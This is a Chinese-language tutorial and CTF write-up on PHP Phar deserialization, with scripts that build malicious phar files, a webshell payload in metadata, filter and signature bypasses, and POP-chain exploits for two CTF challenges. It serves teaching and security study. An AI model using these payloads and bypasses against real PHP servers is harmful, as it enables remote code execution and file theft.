Phar 反序列化 0x01 关于 Phar Phar 含义 Phar 本质上还是一种压缩包,但它是 PHP 的压缩文档,类似于 jar 包在 Java 里面差不多的样子。它可以把多个文件存放至同一个文件中,无需解压,PHP 就可以进行访问并执行内部语句。
默认开启版本 PHP Version >= 5.3
Phar 文件结构
在说文件结构之前,我们可以先通过这个脚本生成一个 .phar 文件
ProducePhar.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class test { public $name ="qwq" ; function __destruct ( ) { echo $this ->name . " is a web vegetable dog " ; } }$a = new test ();$a ->name="drunkbaby" ;$tttang =new phar ('drunkbaby.phar' ,0 );$tttang ->startBuffering ();$tttang ->setMetadata ($a );$tttang ->setStub ("<?php __HALT_COMPILER();?>" );$tttang ->addFromString ("test.txt" ," " );$tttang ->stopBuffering ();?>
Phar 文件结构大致可分为四个部分
1 2 3 4 1 、Stub2 、manifest3 、contents 4 、signature
下面细说一些
stub Stub 是 Phar 的文件标识,也可以理解为它就是 Phar 的文件头,这个 Stub 其实就是一个简单的 PHP 文件,它的格式具有一定的要求,具体如下
1 xxx<?php xxx; __HALT_COMPILER ();?>
这行代码的含义,也就是说前面的内容是不限制的,但在该 PHP 语句中,必须有__HALT_COMPILER(),没有这个,PHP 就无法识别出它是 Phar 文件。 这个其实就类似于图片文件头,比如 gif 文件没有 GIF89A 文件头就无法正确的解析图片,010 Editor 里面的 phar 文件头如图
manifest a manifest describing the contents,用于存放文件的属性、权限等信息。 这里也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的 Meta-data
在我们上面生成的 phar 文件中,manifest 的内容如图
contents 用于存放 Phar 文件的内容
Signature [optional] a signature for verifying Phar integrity (phar file format only),签名(可选参数),位于文件末尾,具体格式如下
从官方文档中不难看出,签证尾部的 01 代表 md5 加密,02 代表 sha1 加密,04 代表 sha256 加密,08 代表 sha512 加密
当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名更换签名的脚本
1 2 3 4 5 6 7 8 from hashlib import sha1with open ('test.phar' , 'rb' ) as file: f = file.read() s = f[:-28 ] h = f[-8 :] newf = s + sha1(s).digest() + h with open ('newtest.phar' , 'wb' ) as file: file.write(newf)
0x02 Phar 反序列化漏洞 漏洞成因 Phar 反序列化之所以存在,是因为 Phar 文件中的 manifest 字段存储了序列化的数据,这其实就是用户的 mete-data,PHP 使用 phar_parse_metedata() 函数解析 meta 数据时,会调用 php_var_unserialize() 函数进行反序列化。具体解析代码如下
php-src/ext/phar/phar.c
那么该如何触发反序列化呢,一般是配合 Phar 伪协议,伪协议使用较多的是一些文件操作函数,只有这些函数能进行反序列化操作,单纯的 phar:// 的伪协议并不能触发反序列化,如 fopen()、copy()、file_exists() 等,具体如下图
通过两个小 demo 来证明一下 file_get_contents() 可用:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class test { public $name ="" ; public function __destruct ( ) { echo ('the name is ' ); echo ($this ->name); echo '<br>' ; echo ' Destruct called' ; } }$tttang = file_get_contents ('phar://drunkbaby.phar/test.txt' );echo $tttang ;
成功触发,同样可以试一试其他的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class test { public $name ="" ; public function __destruct ( ) { echo ('the name is ' ); echo ($this ->name); echo '<br>' ; echo ' Destruct called' ; } }$drunkbaby = file_exists ('phar://drunkbaby.phar/test.txt' );echo $drunkbaby ;
这里会打印出的数据有之前在 test.txt 中写入的内容 空格,以及该打印出的 $this->name 的内容 —— drunkbaby
所以此处我们可以用一种别样的方式来触发反序列化,回想一下之前 PHP 反序列化的时候,是需要一个 unserialize() 反序列化的入口类的,但是在 Phar 反序列化当中,这一过程更为隐蔽。
接下来我们简单总结一下利用条件
利用条件 1)需要入口,也就是上面能够对 phar 文件进行反序列化的地方。
2)存在可利用的魔术方法,用魔术方法作为跳板,这其实也就是 POP 链的思想。
3)文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
简单 Demo VulDemo1.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php if (isset ($_GET ['filename' ])){ $filename = $_GET ['filename' ]; class MyClass { var $output = 'echo "lol"' ; function __destruct ( ) { eval ($this ->output); } file_exists ($filename ); } }else { highlight_file (__FILE__ ); }
这道 Demo 就是完美满足我们 phar 反序列化攻击的需求,首先存在入口函数 —— file_exists(),其次存在能够利用的魔术方法,魔术方法这里其实写了一个命令执行。并且毫无过滤。
所以我们直接构造恶意的 phar 文件,EXP 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class MyClass { var $output = '@eval($_GET[1]);' ; }$o = new MyClass ();$filename = 'poc.phar' ;file_exists ($filename ) ? unlink ($filename ) : null ;$phar =new Phar ($filename );$phar ->startBuffering ();$phar ->setStub ("GIF89a<?php __HALT_COMPILER(); ?>" );$phar ->setMetadata ($o );$phar ->addFromString ("foo.txt" ,"bar" );$phar ->stopBuffering ();?>
正常情况下应该是会给我们提供文件上传的功能点,这里我没有写,但是可以直接利用,payload 为
0x03 Phar 反序列化 Bypass 的攻防二相性 对 Phar 内文件检测白名单 我们利用Phar反序列化的第一步就是需要上传Phar文件到[服务器],而如果服务端存在防护,比如这种
1 $_FILES ["file" ]["type" ]=="image/gif"
这里的 bypass 比较简单,核心语句是这个
1 $phar->setStub("GIF89a <?php __HALT_COMPILER (); ?> ");
这和上面例题所说的 exp 是一样的
绕过 Phar 等关键字检测 Phar反序列化中,我们一般思路是上传Phar文件后,通过给参数赋值为Phar://xxx来实现反序列化,而一些防护可能会采取禁止参数开头为Phar等关键字的方式来防止Phar反序列化,示例代码如下
1 2 3 if (preg_match("/ ^php | ^file | ^phar | ^dict | ^zip /i", $filename ){ die(); }
我们的办法是使用各种协议来进行绕过,具体如下
1 2 3 4 5 6 1 、php:// filter/read=convert.base64-encode/ resource=phar:// test.phar// 即使用filter伪协议来进行绕过2 、compress.bzip2:// phar:// /test.phar/ test.txt// 使用bzip2协议来进行绕过3 、compress.zlib:// phar:// /home/ sx/test.phar/ test.txt// 使用zlib协议进行绕过
绕过 __HALT_COMPILER 检测 我们在前文初识Phar时就提到过,PHP 通过 __HALT_COMPILER来识别 Phar 文件,那么出于安全考虑,即为了防止 Phar 反序列化的出现,可能就会对这个进行过滤,示例代码如下
1 2 3 if (preg_match ("/HALT_COMPILER/i" ,$Phar ){ die (); }
这里的话绕过思路有两个 1、将 Phar 文件的内容写到压缩包注释中,压缩为 zip 文件,示例代码如下
1 2 3 4 5 6 7 8 <?php $a = serialize ($a );$zip = new ZipArchive ();$res = $zip ->open ('phar.zip' ,ZipArchive ::CREATE ); $zip ->addFromString ('flag.txt' , 'flag is here' );$zip ->setArchiveComment ($a );$zip ->close (); ?>
2、将生成的Phar文件进行gzip压缩,压缩命令如下
压缩后同样也可以进行反序列化
0x04 实战例题 [CISCN2019 华北赛区 Day1 Web1]Dropbox
首先通过正常的登录注册业务进到正常的逻辑当中去,发现有个文件上传的业务点。
上传 shell.jpeg 可以上传成功,并且存在下载与删除的业务
但是目前无法确定 shell.jpeg 的路径保存在何处,所以我们先看看下载的业务,这里是存在任意文件读取的漏洞的,如图
猜测路径 filename=/../var/www/html/upload.php 这里读取到了文件上传的源码,同样,下载和删除应该也有源码,读一下,且包含了 class.php,都逐一读取一遍。
但是这里 $_SESSION[‘sandbox’] 不知道是什么,所以并不是一道单纯的文件上传的题目。
在读取 class.php 的时候,发现最后 close() 函数调用了 file_get_contents() 函数,这个函数我们之前提过,很有可能是一个 Phar 反序列化的题目。且题目并没有过滤 phar 后缀的文件,修改 MIME 绕过即可
所以这里我们需要先找链子,危险函数是 class.php#close(),发现是 download.php#echo $file->close(); 调用了它,所以下载处应该是对应的漏洞入口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class File { public $filename ; public function close ( ) { return file_get_contents ($this ->filename); } }$a = new File ();$a ->filename="/f*" ;$tttang =new phar ('drunkbaby.phar' ,0 );$tttang ->startBuffering ();$tttang ->setMetadata ($a );$tttang ->setStub ("<?php __HALT_COMPILER();?>" );$tttang ->addFromString ("test.txt" ," " );$tttang ->stopBuffering ();?>
但是我用这个打失败了,并且发现 download 这个包抓不到,所以应该是要换思路了。
发现 delete.php User 类的 __destruct() 魔术方法也同样调用了 close() 方法,和 Java 反射的思想差不多,这里把 $db 修改成 File 类即可攻击,构造 EXP,中间需要用 FileList 这个类来过渡,因为这里需要最后输出结果用,只是用 File 类的话是没办法把 flag 在前端打印出来的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class User { public $db ; public function __construct ( ) { $this ->db = new Filelist (); } }class FileList { private $files ; public function __construct ( ) { $this -> files = array (new File ()); } }class File { public $filename = '/flag.txt' ; }$a = new User ();$phar = new Phar ('poc.phar' );$phar ->startBuffering ();$phar ->addFromString ('test.txt' , 'test' );$phar ->setStub ('<?php __HALT_COMPILER(); ? >' );$phar ->setMetadata ($a );$phar ->stopBuffering ();rename ('poc.phar' ,'poc.gif' );?>
然后 delete 的功能点直接利用
[NSSRound#4 SWPU]1zweb
不太舒服,因为要自己编辑 PHP 文件,先读取文件
最后整理出来的源码如下
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class LoveNss { public $ljt ; public $dky ; public $cmd ; public function __construct ( ) { $this ->ljt="ljt" ; $this ->dky="dky" ; phpinfo (); } public function __destruct ( ) { if ($this ->ljt==="Misc" &&$this ->dky==="Re" ) eval ($this ->cmd); } public function __wakeup ( ) { $this ->ljt="Re" ; $this ->dky="Misc" ; } }$file =$_POST ['file' ];if (isset ($_POST ['file' ])){ echo file_get_contents ($file ); }
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php if ($_FILES ["file" ]["error" ] > 0 ){ echo "上传异常" ; }else { $allowedExts = array ("gif" , "jpeg" , "jpg" , "png" ); $temp = explode ("." , $_FILES ["file" ]["name" ]); $extension = end ($temp ); if (($_FILES ["file" ]["size" ] && in_array ($extension , $allowedExts ))){ $content =file_get_contents ($_FILES ["file" ]["tmp_name" ]); $pos = strpos ($content , "__HALT_COMPILER();" ); if (gettype ($pos )==="integer" ){ echo "ltj一眼就发现了phar" ; }else { if (file_exists ("./upload/" . $_FILES ["file" ]["name" ])){ echo $_FILES ["file" ]["name" ] . " 文件已经存在" ; }else { $myfile = fopen ("./upload/" .$_FILES ["file" ]["name" ], "w" ); fwrite ($myfile , $content ); fclose ($myfile ); echo "上传成功 ./upload/" .$_FILES ["file" ]["name" ]; } } }else { echo "dky不喜欢这个文件 ." .$extension ; } }
大致就是,要检查后缀并检查内容,且会检查 phar 文件的内容,这一步其实很容易 bypass,通过前面讲的,gzip 压缩就好。
接着分析题目,先写 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class LoveNss { public $ljt ; public $dky ; public $cmd ; public function __construct ( ) { $this ->ljt="Misc" ; $this ->dky="Re" ; $this ->cmd="system('cat /flag');" ; } }$phar = new Phar ('poc.phar' );$phar ->startBuffering ();$phar ->setStub ('GIF89a' .'<?php __HALT_COMPILER(); ? >' );$a = new LoveNss ();$phar ->setMetadata ($a );$phar ->addFromString ('test.txt' , 'test' );$phar ->stopBuffering ();?>
这里很明显要 bypass __wakeup() 魔术方法,但是如果只是修改内容是不行的,还需要修改签名,这就是前面说的内容。
总的来说就是以下四步
1 2 3 4 1 、更改属性值来绕过 __wakeup 函数2 、更改签名2 、进行 gzip 压缩来绕过关键字检测4 、更改文件后缀
sign.py
1 2 3 4 5 6 7 8 9 10 11 12 import gzipfrom hashlib import sha1 with open ('poc.phar' , 'rb' ) as file: f = file.read () s = f[:-28 ] s = s.replace (b'3:{' , b'4:{' ) h = f[-8 :] newf = s + sha1 (s).digest () + h newf = gzip.compress (newf) with open ('newPoc.png' , 'wb' ) as file: file.write (newf)
构造完毕之后,上传并攻击
参考文章:
https://mochazz.github.io/2019/02/02/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bphar/
https://juejin.cn/post/7152298620656549896#heading-1
https://paper.seebug.org/680/
https://cloud.tencent.com/developer/article/2278965